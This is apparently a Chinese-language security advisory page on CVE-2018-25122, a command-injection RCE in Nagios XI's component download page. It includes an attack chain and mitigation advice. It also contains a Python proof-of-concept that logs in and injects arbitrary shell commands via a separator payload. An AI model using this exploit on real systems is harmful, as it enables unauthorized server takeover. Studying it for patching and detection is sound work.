IPBUF安全漏洞报告
English
CVE-2018-25122 CVSS 8.8 高危

CVE-2018-25122 Nagios XI组件下载页面远程代码执行漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2018-25122
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

远程代码执行命令注入Nagios XICVE-2018-25122Web应用安全认证绕过高危漏洞

漏洞概述

CVE-2018-25122是Nagios XI软件中的一个高危远程代码执行漏洞。该漏洞存在于Nagios XI的组件下载页面(Component Download page)中,影响5.4.13之前的版本。漏洞的根本原因在于下载/导入处理程序使用了不安全的命令构造方式,直接将攻击者可控的输入拼接到系统命令中,而没有进行充分的验证和输出编码。这使得经过身份认证的低权限用户能够注入恶意命令,并在Web应用服务权限下执行任意代码。由于该漏洞无需用户交互即可利用,且可通过网络远程触发,因此具有极高的安全风险。攻击者成功利用此漏洞可以完全控制受影响的Nagios XI服务器,窃取敏感数据、植入后门或进一步横向移动到内网其他系统。

技术细节

该漏洞属于命令注入(Command Injection)类型,存在于Nagios XI的组件下载功能模块中。漏洞点在于download/import handler在处理用户输入时,直接将攻击者提供的参数拼接到系统命令中执行。具体来说,当用户通过组件下载页面请求下载或导入组件时,系统会调用底层系统命令来处理这些请求,但由于缺乏对输入参数的严格过滤和验证,攻击者可以通过构造特殊的Payload(如使用分号、管道符等命令分隔符)来注入额外的系统命令。攻击者只需要拥有低权限的Nagios XI账户即可利用此漏洞,无需管理员权限。成功利用后,攻击者可以在运行Nagios XI服务的用户权限下执行任意操作系统命令,从而获得服务器控制权。由于Nagios XI通常以root或高权限账户运行,这进一步扩大了漏洞的影响范围。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标运行Nagios XI,并确认版本低于5.4.13。通过访问/nagiosxi/components/tapi/base.php端点确认组件下载功能存在
STEP 2
步骤2:获取访问凭证
攻击者通过社工、暴力破解或其他方式获取Nagios XI的低权限用户账户。漏洞只需要PR:L级别的认证即可利用
STEP 3
步骤3:构造恶意请求
攻击者构造包含命令注入Payload的HTTP请求,在component参数中使用命令分隔符(如分号、管道符)注入恶意系统命令
STEP 4
步骤4:触发漏洞
通过发送构造好的请求到组件下载处理端点,触发不安全的命令构造逻辑,使注入的命令在服务器上执行
STEP 5
步骤5:建立持久化
成功执行命令后,攻击者可以下载并安装恶意组件、建立后门账户或反弹Shell以获得持久化访问
STEP 6
步骤6:权限提升与横向移动
由于Nagios XI通常以高权限运行,攻击者可直接获得root权限,并可进一步探测内网环境进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2018-25122 Nagios XI RCE PoC # Target: Nagios XI < 5.4.13 Component Download Page # Note: Requires authenticated user access import requests import sys def exploit_nagios_xi(target_url, username, password, cmd): """ Exploit CVE-2018-25122 - Nagios XI Component Download RCE Args: target_url: Base URL of Nagios XI (e.g., http://target.com/nagiosxi) username: Valid Nagios XI username password: Password for the user cmd: Command to execute on target system """ session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}/nagiosxi/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=30) # Step 2: Access Component Download page with malicious payload component_url = f"{target_url}/nagiosxi/components/tapi/base.php" # Inject command via vulnerable parameter # Using command separator to chain commands exploit_data = { 'cmd': 'download', 'component': f'; {cmd} #' # Command injection payload } response = session.get(component_url, params=exploit_data, timeout=30) print(f"[*] Request sent to {component_url}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") print(f"[*] Output:\n{response.text}") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://192.168.1.100/nagiosxi admin password 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] exploit_nagios_xi(target, user, pwd, command)

影响范围

Nagios XI < 5.4.13

防御指南

临时缓解措施
立即将Nagios XI升级到5.4.13或最新稳定版本。如果无法立即升级,可临时禁用组件下载功能,限制访问组件管理页面仅限管理员IP,并启用详细的审计日志监控可疑活动。同时建议配置Web应用防火墙规则来拦截包含命令分隔符(如;、|、&、$等)的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表